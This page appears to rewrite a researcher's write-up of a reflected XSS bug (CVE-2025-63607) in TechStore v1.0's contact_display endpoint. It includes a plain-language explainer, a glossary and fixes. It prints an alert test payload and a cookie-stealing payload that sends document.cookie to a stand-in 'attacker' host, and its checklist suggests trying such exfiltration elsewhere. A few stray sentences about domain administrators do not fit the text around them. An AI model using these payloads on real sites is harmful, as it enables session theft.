One Parameter. One Script Tag. One CVE.
The contact_display endpoint of TechStore v1.0 placed the user-supplied id parameter into the HTML page without encoding or validation, so a crafted link containing markup executed script in the victim's browser. An attacker could use this to read the victim's session cookie and act as them.
medium.com
Published on medium.com
Cybersecurity
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
TechStore v1.0 is a small e-commerce application. It exposes a display endpoint that takes an identifier and renders the matching record back to the user:
GET /contact_display?id=1
The developer's intent is clearly that id is a number. The endpoint is the whole surface of the bug described here: a single GET parameter that ends up in the HTML response.
The finding is recorded as CVE-2025-63607, credited to Mohammed ElKhateb (HoRRus).

Setup
The testing was carried out against a lab-hosted, intentionally vulnerable instance of TechStore v1.0, and the issue was disclosed responsibly. The researcher's requests target [redacted]:5001. No accounts, roles or special tooling are described beyond a browser and a URL bar; the whole exercise is done by editing the id parameter and observing what comes back.
Finding it
The starting assumption is that id should be numeric. The question the researcher asks is what happens when it is not. The reasoning runs in two stages: first establish whether input is reflected at all, then establish whether it is encoded.
Reflection on its own is unremarkable, since many applications echo input. The decisive question is whether the application escapes it before writing it into HTML. If it did, a less-than sign would come back as an HTML entity and the browser would render it as text rather than markup.
Exploitation
Step 1: Confirm reflection
A marker string is sent in place of a real ID:
http://[redacted]:5001/contact_display?id=HORRUS_TEST_123
The response contains HORRUS_TEST_123 in the HTML exactly as typed. That confirms the parameter is reflected into the page.
Step 2: Test for encoding
With reflection confirmed, the next request carries actual markup:
http://[redacted]:5001/contact_display?id=1<script>alert('XSS POPUP’)</script>
The alert box fires immediately. The script tag executed, which means the value was neither encoded nor validated on the way into the page. The id parameter is a straight pipe from the URL into the HTML, with nothing in between.
Step 3: Demonstrate real impact
An alert proves code execution but not damage, so the researcher moves to a payload that acts on the victim's session. Because the script runs inside the victim's logged-in context, it can read document.cookie and exfiltrate it:
A single line creates an image object whose source points at a server the attacker controls, with the victim's cookie appended to the query string. The browser issues the request, and the cookie leaves the victim's machine. From there the researcher lists session hijacking, performing actions as the victim, and dropping a fake login form as follow-on options.
Delivery is a link: email, a direct message or a post. The victim clicks once and the payload runs. The attacker never touches the server directly.
Root cause
Two mistakes stack up:
- The application never checks that
idis a number, although it should be one. - The application never encodes the value before writing it into HTML.
Either control on its own would have stopped the attack. With both missing, the reflected value reaches the browser as live markup. The report presents the endpoint as having neither input validation nor output encoding.
Impact
The payload executes in the victim's browser within their logged-in session on the affected application. The researcher lists session hijacking, acting as the victim and dropping a fake login form as follow-on options. The precondition is the click: the attack is delivered as a link and requires the victim to follow it. The researcher is explicit that this is not a clever exploit chain; its value is as a reminder that serious real-world bugs sit in ordinary code.
Fix
The report gives three defensive measures. It does not say which, if any, were applied to the product.
- Encode output. Every user-controlled value that lands in HTML should be escaped first. The researcher states that this alone defeats the whole attack.
- Validate input.
idis supposed to be a number, so enforce that and reject everything else. This is a backup layer, not a replacement for output encoding. - Add a Content-Security-Policy that blocks inline scripts, so that even if something slips through, the browser refuses to execute it.
The closing advice is to check where input lands, test the encoding yourself, and not to trust the framework to do it.
- Numeric-looking parameters on other endpoints. Send a non-numeric marker and see whether it comes back verbatim in the HTML; a positive result is the marker appearing unmodified in the response body.
- Encoding probes. Send a less-than sign and a script tag in the parameter; a positive result is the tag executing rather than appearing as escaped text.
- Cookie exfiltration proof. Where reflection is confirmed, use an image-source payload pointing at a listener you control; a positive result is an inbound request carrying the victim's cookie.
- Session-dependent behaviour. Test the reflected endpoint while authenticated; a positive result is a payload that reads session state and transmits it, confirming the script runs in the victim's logged-in context.
- CSP coverage. Inspect the response headers for a policy that blocks inline script; absence of such a policy means an injected inline handler or script tag is a viable variant to try.
What happened, in plain words
A security researcher named Mohammed ElKhateb (HoRRus) found a bug in a small online shop application called TechStore v1.0. The bug is a type called reflected cross-site scripting, usually shortened to reflected XSS. In plain words: the shop takes a value from the address bar of your browser and pastes it into the page it shows you, without cleaning it first. If that value is not a harmless number but a piece of code, the browser runs that code as if the shop itself had written it.
The researcher reported the bug responsibly, and it is now on public record as CVE-2025-63607. A CVE is a unique identifier given to a publicly known security flaw, a bit like a case number for a bug. The researcher tested everything against a lab copy of the application, meaning a deliberately vulnerable version set up for practice, not a live shop with real customers.

The image above is the banner for the finding, labelled "CVE-2025-63607 Discovered By HoRRus".
This article walks through the same steps the researcher took, in the same order, and explains every term along the way. You only need a browser and a computer to follow the ideas.
The target: what TechStore is and what an endpoint is
TechStore v1.0 is a small e-commerce application, meaning a simple online shop. It has a page that shows a record, for example a contact record, based on an identifier you give it. In web terms, the address the browser asks for is called an endpoint. An endpoint is simply a specific address on a server that does one job, like a counter in a shop that only handles one kind of request.
The endpoint in question looks like this:
GET /contact_display?id=1
Line by line:
GETis the type of request. When your browser asks a website for a page, it normally uses GET, which means "give me this thing"./contact_displayis the path, the part of the address that says which page or function on the server you want.?marks the start of the parameters, the extra information you are handing over.id=1is one parameter namedidwith the value1. A parameter is a named value in the address bar, like a label on a form field.
The developer clearly intended id to be a number. You ask for record number 1, you get record number 1. The whole bug lives in this one parameter: it is the only place the researcher had to touch.
The finding is recorded as CVE-2025-63607, credited to Mohammed ElKhateb (HoRRus).
Setup: how the testing was done
The testing was carried out against a lab-hosted, intentionally vulnerable instance of TechStore v1.0, and the issue was disclosed responsibly. "Lab-hosted" means the application was running on a machine set up for testing, not on the public internet. "Disclosed responsibly" means the researcher told the people responsible for the software before making the details public, giving them a chance to fix it.
The requests in the report go to [redacted]:5001. That address is special: [redacted] always means "this computer", the one you are sitting at. The :5001 part is a port number, a numbered door on the machine that a particular program listens on. Together they show the shop was reached over a local address, which fits a lab setup.
No accounts, roles or special tools are described beyond a browser and a URL bar. The whole exercise is done by editing the id parameter in the address and watching what comes back. That is worth remembering: you do not need fancy software to find a bug like this, just curiosity and a browser.
Finding it: the two questions
The starting assumption is that id should be a number. The researcher asks a simple question: what happens when it is not a number?
The reasoning runs in two stages. First, check whether your input comes back on the page at all. Second, check whether it comes back cleaned or raw.
Why split it in two? Because input coming back is not automatically a problem. Many applications echo what you typed, for example a search page that says "results for: your words". That is normal and harmless. The decisive question is whether the application escapes the input before writing it into the HTML. Escaping, also called encoding, means replacing dangerous characters with safe stand-ins. For example, the less-than sign < becomes <. The browser then shows it as the text < instead of treating it as the start of an HTML tag. HTML is the language web pages are written in, and tags are the instructions inside it, like <b> for bold. If a value is escaped, a tag you type is shown as text. If it is not escaped, the browser obeys it as an instruction.
Exploitation
Step 1: Confirm reflection
A marker string is sent in place of a real ID:
http://[redacted]:5001/contact_display?id=HORRUS_TEST_123
Line by line:
http://is the protocol, the set of rules the browser uses to talk to the server.[redacted]:5001is the local machine and port described above./contact_displayis the endpoint.?id=HORRUS_TEST_123hands the parameterida made-up value, a marker. A marker is a unique word you choose so you can search for it afterwards. It is not a real record number, so if it appears on the page, it can only have come from you.
The response contains HORRUS_TEST_123 in the HTML exactly as typed. That confirms the parameter is reflected into the page. "Reflected" means your input goes in one side and comes straight back out on the page, like shouting into a canyon and hearing your own voice.
Why this step first? Because if the value never comes back, there is nothing to attack. This step costs seconds and tells you whether the second question is even worth asking.
Step 2: Test for encoding
With reflection confirmed, the next request carries actual markup:
http://[redacted]:5001/contact_display?id=1<script>alert('XSS POPUP’)</script>
Line by line:
id=1is a normal-looking value, so the page has something sensible to work with.<script>is an HTML tag that tells the browser: everything until the closing tag is code to run. Script means a small program, and in a browser that program is usually JavaScript.alert('XSS POPUP’)is a JavaScript instruction that opens a pop-up box with the text inside the quotes. It is the simplest possible proof that code ran, because you can see it happen.</script>closes the script tag.
The alert box fires immediately. The script tag executed, which means the value was neither encoded nor validated on the way into the page. Validated means checked against a rule, for example "must be a number". The id parameter is a straight pipe from the URL into the HTML, with nothing in between. A pipe here is just a metaphor: whatever you put in at one end comes out the other end unchanged.
Why use an alert rather than something destructive? Because the goal at this stage is proof, not damage. An alert is visible, harmless and unmistakable. If it appears, you know for certain that your code ran in the page.
Step 3: Demonstrate real impact
An alert proves code execution but not damage, so the researcher moves to a payload that acts on the victim's session. A payload is the part of the input that actually does something, as opposed to the harmless part around it.
To understand the next step you need to know what a cookie is. A cookie is a small piece of text that a website asks your browser to store and send back with every request to that site. One common use is keeping you logged in: after you sign in, the site gives your browser a cookie that acts like a wristband at an event. Show the wristband, and the door staff let you in without asking for your name again. If someone else copies your wristband, they can walk in as you. That is why cookies are sensitive.
Because the script runs inside the victim's logged-in context, it can read document.cookie and exfiltrate it. document.cookie is the browser's built-in way for a page's code to read the cookies for that site. Exfiltrate means secretly send data out to somewhere else.
Line by line:
id=1is again the harmless-looking part.<script>opens the code block.new Image()creates an image object in the browser. You never see it on the page; it exists only in memory..src=sets the address the image should be loaded from. Setting this address makes the browser go and fetch it, just as if the page had shown a picture.’http://attacker/c?'is the address of a server the attacker controls, with a question mark at the end. The question mark starts a query string, the part of an address used to carry extra values.+document.cookieglues the victim's cookies onto the end of that address.</script>closes the code block.
A single line creates an image object whose source points at a server the attacker controls, with the victim's cookie appended to the query string. The browser issues the request, and the cookie leaves the victim's machine. In everyday terms: the code writes the victim's wristband number onto the outside of an envelope and posts it to the attacker's address. The attacker then reads the number and can wear a copy.
From there the researcher lists session hijacking, performing actions as the victim, and dropping a fake login form as follow-on options. Session hijacking means using a stolen login state to act as the victim. A fake login form is a page that looks like the real sign-in page but sends the typed password to the attacker.
Delivery is a link: email, a direct message or a post. The victim clicks once and the payload runs. The attacker never touches the server directly. That last point matters: the attacker does not need to break into the server at all. They only need the victim to open a link, and the victim's own browser does the rest.
Root cause
Two mistakes stack up:
- The application never checks that
idis a number, although it should be one. - The application never encodes the value before writing it into HTML.
Either control on its own would have stopped the attack. A control here means a safeguard, a check that keeps bad input out or makes it harmless. With both missing, the reflected value reaches the browser as live markup. The report presents the endpoint as having neither input validation nor output encoding.
A useful comparison: a nightclub with no ID check at the door and no lock on the cash register. Either one alone would have prevented the theft. Both missing at once is what turns a small oversight into a real problem.
Impact
The payload executes in the victim's browser within their logged-in session on the affected application. The researcher lists session hijacking, acting as the victim and dropping a fake login form as follow-on options. Credentials means the username and password someone uses to sign in.
The precondition is the click: the attack is delivered as a link and requires the victim to follow it. The researcher is explicit that this is not a clever exploit chain. Domain administrator is a very powerful account that controls a whole network. The value of this bug is as a reminder that serious real-world bugs sit in ordinary code.
Fix
The report gives three defensive measures. It does not say which, if any, were applied to the product.
- Encode output. Every user-controlled value that lands in HTML should be escaped first. The researcher states that this alone defeats the whole attack. In everyday terms: before you repeat what a visitor said, put it in quotation marks so it is clearly just words, never an instruction.
- Validate input.
idis supposed to be a number, so enforce that and reject everything else. This is a backup layer, not a replacement for output encoding. If a value is not a number, refuse it at the door. - Add a Content-Security-Policy that blocks inline scripts, so that even if something slips through, the browser refuses to execute it. A Content-Security-Policy, usually shortened to CSP, is a set of rules the server sends with the page telling the browser what it is allowed to run. Blocking inline scripts means refusing code written directly inside the page, which is exactly what an injected script tag is.
The closing advice is to check where input lands, test the encoding yourself, and not to trust the framework to do it. A framework is a ready-made set of tools developers build an application on top of. It may handle some safety for you, but you should verify rather than assume.
If you want to practise the same thinking on other applications, these are the checks the report suggests. Each one comes with what a positive result looks like.
- Numeric-looking parameters on other endpoints. Send a non-numeric marker and see whether it comes back verbatim in the HTML; a positive result is the marker appearing unmodified in the response body. The response body is the actual content of the page the server sends back.
- Encoding probes. Send a less-than sign and a script tag in the parameter; a positive result is the tag executing rather than appearing as escaped text.
- Cookie exfiltration proof. Where reflection is confirmed, use an image-source payload pointing at a listener you control; a positive result is an inbound request carrying the victim's cookie. A listener is a small server you run that waits for and records incoming requests.
- Session-dependent behaviour. Test the reflected endpoint while authenticated; a positive result is a payload that reads session state and transmits it, confirming the script runs in the victim's logged-in context. Authenticated means you are signed in.
- CSP coverage. Inspect the response headers for a policy that blocks inline script; absence of such a policy means an injected inline handler or script tag is a viable variant to try. Response headers are the extra information the server sends alongside the page, before the content itself.
Glossary
- Alert: a JavaScript instruction that opens a pop-up box with a message, used here as visible proof that code ran.
- Authenticated: signed in, with the application knowing who you are.
- Browser: the program you use to view web pages, such as Chrome or Firefox.
- Content-Security-Policy (CSP): rules sent by a server telling the browser what code it may run, for example blocking inline scripts.
- Control: a safeguard in an application that keeps bad input out or makes it harmless.
- Cookie: a small piece of text a website asks your browser to store and send back with each request, often used to keep you logged in.
- Credentials: the username and password used to sign in.
- Cross-site scripting (XSS): a bug where an attacker's code ends up running inside a page the victim trusts.
- CVE: a unique public identifier for a known security flaw, like a case number.
- Domain administrator: a very powerful account that controls a whole network.
- Endpoint: a specific address on a server that performs one job.
- Escaping (encoding): replacing dangerous characters with safe stand-ins so they are shown as text rather than obeyed as instructions.
- Exfiltrate: secretly send data out to another location.
- Framework: a ready-made set of tools developers build an application on top of.
- GET: the common request type a browser uses to ask a server for a page.
- HTML: the language web pages are written in, made of tags that tell the browser how to display things.
- HTTP: the set of rules a browser and a server use to talk to each other.
- Inline script: code written directly inside a page, as opposed to loaded from a separate file.
- JavaScript: the programming language browsers run to make pages interactive.
- Listener: a small server you run that waits for and records incoming requests.
- Markup: the tags and structure in HTML that the browser interprets.
- Parameter: a named value in an address bar, like
id=1. - Payload: the part of an input that actually does something, as opposed to the harmless part around it.
- Pipe: a metaphor for a path where input goes in one end and comes out the other unchanged.
- Port: a numbered door on a machine that a particular program listens on.
- Protocol: a set of rules for communication, such as HTTP.
- Query string: the part of an address after a question mark, used to carry extra values.
- Reflected: input that goes into a request and comes straight back out on the page.
- Response body: the actual content of the page the server sends back.
- Response headers: extra information the server sends alongside the page, before the content itself.
- Session: the period during which a site remembers you as signed in.
- Session hijacking: using a stolen login state to act as the victim.
- Tag: an instruction in HTML, such as
<script>or<b>. - URL bar: the field at the top of the browser where you type or see an address.
- Validation: checking input against a rule, for example that it must be a number, and rejecting what fails.
- Vulnerability: a weakness in software that can be used to cause harm.